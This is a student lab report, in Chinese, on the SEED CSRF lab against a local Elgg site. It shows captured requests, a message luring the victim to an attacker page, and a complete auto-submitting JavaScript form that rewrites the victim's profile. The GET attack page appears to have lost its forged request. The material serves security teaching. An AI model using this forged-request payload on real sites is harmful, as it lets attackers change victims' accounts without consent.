

跨站请求伪造攻击实验报告

姓名: 57119132 汪奥杰

日期: 2021年7月15日

实验目标

实验室环境建立

1. 容器设置和命令

```
dcup
(Another Terminal)
dockps
docksh <ID>
```

2. Elgg网站应用程序

Elgg容器。 文件名为 `apache_elgg.conf`, 内容如下:

```
<VirtualHost *:80>
    DocumentRoot /var/www/elgg
    ServerName    www.seed-server.com
    <Directory /var/www/elgg>
        Options FollowSymLinks
        AllowOverride All
        Require all granted
    </Directory>
</VirtualHost>
```

攻击容器。 文件名为 `apache_defense.conf`, 内容如下:

```
<VirtualHost *:80>
    DocumentRoot /var/www/defense
    ServerName    www.example32.com
    DirectoryIndex index.php
</VirtualHost>
```

DNS配置。 执行指令:

```
sudo gedit /etc/hosts
```

将 `/etc/hosts` 文件中的 `# For CSRF Lab` 部分改为:

```
10.9.0.5      www.seed-server.com
10.9.0.5      www.example32.com
10.9.0.105    www.attacker32.com
```

MySQL数据库。容器通常为一次性的，所以对于该实验，我们在主机上安装了 `mysql_data` 文件夹以保存MySQL数据库。

用户账户。Elgg服务器上创建的用户名及其密码如下：

UserName	Password

admin	seedelgg
alice	seedalice
boby	seedboby
charlie	seedcharlie
samy	seedsamy

实验任务

任务一：观察HTTP请求

使用Web Developer Tool获取HTTP GET和HTTP POST。

All	HTML	CSS	JS	XHR	Fonts	Images	Media	WS	Other
Status	Method	Domain	File	Initiator	Type	Transferred	Size	0 ms	
302	GET	www.seed-ser...	logout?__elgg_ts=1626343056&__elgg_token=0DUrr	document	html	3.24 KB	12.32 ...	323 ms	
200	GET	www.seed-ser...	/	document	html	3.17 KB	12.32 ...	84 ms	
200	GET	www.seed-ser...	jquery.js	script	js	cached	0 B	0 ms	
200	GET	www.seed-ser...	jquery-ui.js	script	js	cached	0 B	0 ms	
200	GET	www.seed-ser...	require_config.js	script	js	cached	789 B	0 ms	
200	GET	www.seed-ser...	require.js	script	js	cached	0 B	0 ms	
200	GET	www.seed-ser...	elgg.js	script	js	cached	0 B	0 ms	
200	GET	www.seed-ser...	sprintf.js	require.js:127 (sc...	js	cached	0 B	0 ms	
200	GET	www.seed-ser...	en.js	require.js:127 (sc...	js	cached	0 B	0 ms	
200	GET	www.seed-ser...	weakmap-polyfill.js	require.js:127 (sc...	js	cached	0 B	0 ms	
200	GET	www.seed-ser...	formdata-polyfill.js	require.js:127 (sc...	js	cached	0 B	0 ms	
200	GET	www.seed-ser...	init.js	require.js:127 (sc...	js	cached	370 B	0 ms	
200	GET	www.seed-ser...	ready.js	require.js:127 (sc...	js	cached	123 B	0 ms	
200	GET	www.seed-ser...	lightbox.js	require.js:127 (sc...	js	cached	0 B	0 ms	
200	GET	www.seed-ser...	form.js	require.js:127 (sc...	js	cached	0.99 KB	0 ms	
200	GET	www.seed-ser...	topbar.js	require.js:127 (sc...	js	cached	175 B	0 ms	
200	GET	www.seed-ser...	favicon-128.png	FaviconLoader.js...	png	cached	4.23 KB	0 ms	
200	GET	www.seed-ser...	favicon.svg	FaviconLoader.js...	svg	cached	6.35 KB	0 ms	
200	GET	www.seed-ser...	Plugin.js	require.js:127 (sc...	js	cached	145 B	0 ms	
200	GET	www.seed-ser...	jquery.colorbox.js	require.js:127 (sc...	js	cached	0 B	0 ms	
200	GET	www.seed-ser...	Ajax.js	require.js:127 (sc...	js	cached	0 B	0 ms	
200	GET	www.seed-ser...	spinner.js	require.js:127 (sc...	js	cached	754 B	0 ms	
401	POST	www.seed-ser...	login	jquery.js:2 (xhr)	json	400 B	84 B	481 ms	

任务二：使用GET请求进行CSRF攻击

登录Boby的账户，添加Samy为好友，并查看HTTP请求头参数：

Headers Cookies Request Response Timings Stack Trace

Filter Headers Block Resend

▶ GET http://www.seed-server.com/action/friends/add?friend=59&__elgg_ts=1626354233,1626354233 &__elgg_token=-cbVszShYjFxaXKVjthhGw,-cbVszShYjFxaXKVjthhGw

Status **200 OK** ⓘ

Version HTTP/1.1

Transferred 767 B (386 B size)

Referrer Policy no-referrer-when-downgrade

▼ Response Headers (381 B) Raw

- Cache-Control: must-revalidate, no-cache, no-store, private
- Connection: Keep-Alive
- Content-Length: 386
- Content-Type: application/json; charset=UTF-8
- Date: Thu, 15 Jul 2021 13:03:57 GMT
- expires: Thu, 19 Nov 1981 08:52:00 GMT
- Keep-Alive: timeout=5, max=87
- pragma: no-cache
- Server: Apache/2.4.41 (Ubuntu)
- Vary: User-Agent
- x-content-type-options: nosniff

▼ Request Headers (547 B) Raw

- Accept: application/json, text/javascript, */*; q=0.01
- Accept-Encoding: gzip, deflate
- Accept-Language: en-US,en;q=0.5
- Connection: keep-alive
- Cookie: Elgg=qu5ho8bkpv81kuaSi112h4fk71
- Host: www.seed-server.com
- Referer: http://www.seed-server.com/profile/samy
- User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0
- X-Requested-With: XMLHttpRequest

在~/Cross-Site Request Forgery Attack Lab/Labsetup/attacker 文件夹下执行指令：

```
sudo gedit addfriend.html
```

修改文件 addfriend.html：

```
<html>
<body>
<h1>This page forges an HTTP GET request</h1>

</body>
</html>
```


登录Samy的账户，添加Alice为好友，并向Alice发送含有攻击网址 `www.attacker32.com` 的电子邮件：

Elgg For SEED Labs

Samy › Messages

Compose a message

To *

 Alice

✕

Write recipient's username here.

Subject *

Message *

Embed content Edit HTML

B I U S I_x

www.attacker32.com

Send

Alice收到Samy的电子邮件后，出于好奇，点击了邮件中的网址，Samy就自动添加到Alice的好友列表中，CSRF攻击成功。

Alice's friends



Samy



Alice

Blogs

Bookmarks

Files

Pages

Wire post

Friends

Friends of

Collections



www.seed-server.com

任务三：使用POST请求进行CSRF攻击

在 `~/Cross-Site Request Forgery Attack Lab/Labsetup/attacker` 文件夹下执行指令：

```
sudo gedit editprofile.html
```

修改文件 `editprofile.html`：

```
<html>
<body>
<h1>This page forges an HTTP POST request.</h1>
<script type="text/javascript">

function forge_post()

{

    var fields;

    // The following are form entries need to be filled out by attackers.
    // The entries are made hidden, so the victim won't be able to see them.
    fields += "<input type='hidden' name='name' value='Alice'>";
    fields += "<input type='hidden' name='briefdescription' value='Samy is my
hero'>";
```

```

    fields += "<input type='hidden' name='accesslevel[briefdescription]'
value='2'>";
    fields += "<input type='hidden' name='guid' value='56'>";

    // Create a <form> element.
    var p = document.createElement("form");

    // Construct the form
    p.action = "http://www.seed-server.com/action/profile/edit";
    p.innerHTML = fields;
    p.method = "post";

    // Append the form to the current page.
    document.body.appendChild(p);

    // Submit the form
    p.submit();
}

// Invoke forge_post() after the page is loaded.
window.onload = function() { forge_post();}
</script>
</body>
</html>

```

登录Samy的账户，再次向Alice发送含有攻击网址 www.attacker32.com 的电子邮件。

Alice收到Samy的电子邮件后，点击了邮件中的网址，Alice的简介就会自动修改，CSRF攻击成功。

Alice

[Edit avatar](#)[Edit profile](#)

Brief description
Samy is my hero

[Add widgets](#)[Blogs](#)[Bookmarks](#)[Files](#)[Pages](#)[Wire post](#)[Bookmark this page](#)[Report this](#)

Powered by Elgg

问题1：伪造的HTTP请求需要Alice的用户id (guid)才能正常工作。如果Boby专门针对Alice，那么在攻击之前，他可以想办法获取Alice的用户id。Boby不知道Alice的Elgg密码，所以无法登录Alice的账户获取信息。请描述一下Boby如何解决这个问题。

解答1：boby向alice添加好友的时候、打开控制台，可以看到HTTP请求的URL中，附带了参数friend的值56，就可以拿到alice的用户id、进行攻击了。

问题2：如果boby想对任何访问他恶意网页的人发起攻击。在这种情况下，他事先不知道谁在访问网页。他还能发动CSRF袭击来修改受害者的Elgg档案吗？请解释。

解答2：不能攻击成功。因为攻击网页的用户id已经提前规定，除了指定的用户访问能受攻击成功外，其他用户都不会受到攻击。